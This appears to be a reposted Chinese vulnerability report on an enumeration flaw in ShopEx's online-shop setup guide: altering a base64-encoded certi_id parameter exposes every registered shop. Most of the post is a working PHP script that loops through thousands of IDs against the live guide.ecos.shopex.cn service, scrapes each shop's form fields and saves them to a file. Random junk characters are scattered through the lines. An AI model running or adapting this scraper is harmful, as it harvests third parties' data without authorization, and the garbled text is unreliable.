ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
- a- E$ Z5 j9 S8 z2 H1 g0 @详细说明：
) u" K! r/ M3 t! P/ f! W问题出现在shopex 网店使用向导页面

5 s) F5 Q8 ?3 U# q( Q% ^. U+ e

# I9 }, o- H3 b+ t% t( ghttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=


9 A& k' O' T; L! {
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


3 l: k1 m6 k3 C
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站



<?php
/ u: }% g1 v* ?; o. Y
- p, G$ m5 \2 `- Z# q                for ($i=1; $i < 10000; $i++) { //遍历
  |. o+ r7 ?& v0 B
: P6 @5 s) T! [$ G                        ShowshopExD($i);

% e' a( S. ]5 u                }
1 p" G  J" W6 F
2 S$ `& u+ v* b% s. A, U0 g0 n                function ShowshopExD($cid) {
6 \" m) B; Q; o3 s% [( h3 _3 x1 i. S
/ T+ f! ?; ]1 m# m% X+ \; N                $url='http://guide.ecos.shopex.cn/step2.php';
: B3 a/ K$ w, n4 K
& K. z- P) r# P                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

/ D4 o4 s( E3 \- W3 X( A* v        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
' R, p4 F; w# W  d
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
0 k* f2 p$ k6 g( |) c$ J
* ]4 \, s1 `, Y: h: s# `, R        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
9 T8 |3 z7 ~6 I: V) b+ a3 N
        $result = curl_exec($ch);

6 L3 E& g2 b( g) M  `. V8 x        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

9 k& n8 \+ g2 C        if(strpos($result,$refer))
+ m6 ~! H" z  j8 u2 q, ~
        {

, q# |& s2 p: j* N- h( L' O2 Q                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

" l1 }* U2 j% X. P% u  O                        echo $res[1][0].':'.$res[3][0]."\r\n";
( _. t  |) \' j4 x5 {6 r! [
- t4 D  C9 e) X: w1 O                        $col =$res[1][0].':'.$res[3][0]."\r\n";
# {. e* ~1 r# @  i
. i7 h* S/ ?4 P( {! }* A! l                        fwrite($fp, $col, strlen($col));
. f& E8 d: Q, y( f' D: ?9 ?
                }

                echo '--------------------------------'."\r\n";

; y( v9 b: K$ x( l# P8 Z                fclose($fp);

: A& p( h8 c2 `        }

# _3 w# t! j" m) j! Z% t/ }6 e2 ]# O        flush();
2 Z4 i* W7 Q% x. X+ w* A
; N  y: V  k, `: n% M+ B        curl_close($ch);
% E" u" b2 D9 m3 Q. s" t  i
                }

?>
  q' ^" e2 p  C. x" F5 o- v漏洞证明：
# V' q4 A: M) N, }( s( U% qhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
) X' p4 R3 D4 V* _! q5 U) J& D4 Zrefer换成其他加密方式
" l- `' H+ a8 s1 ?+ B4 d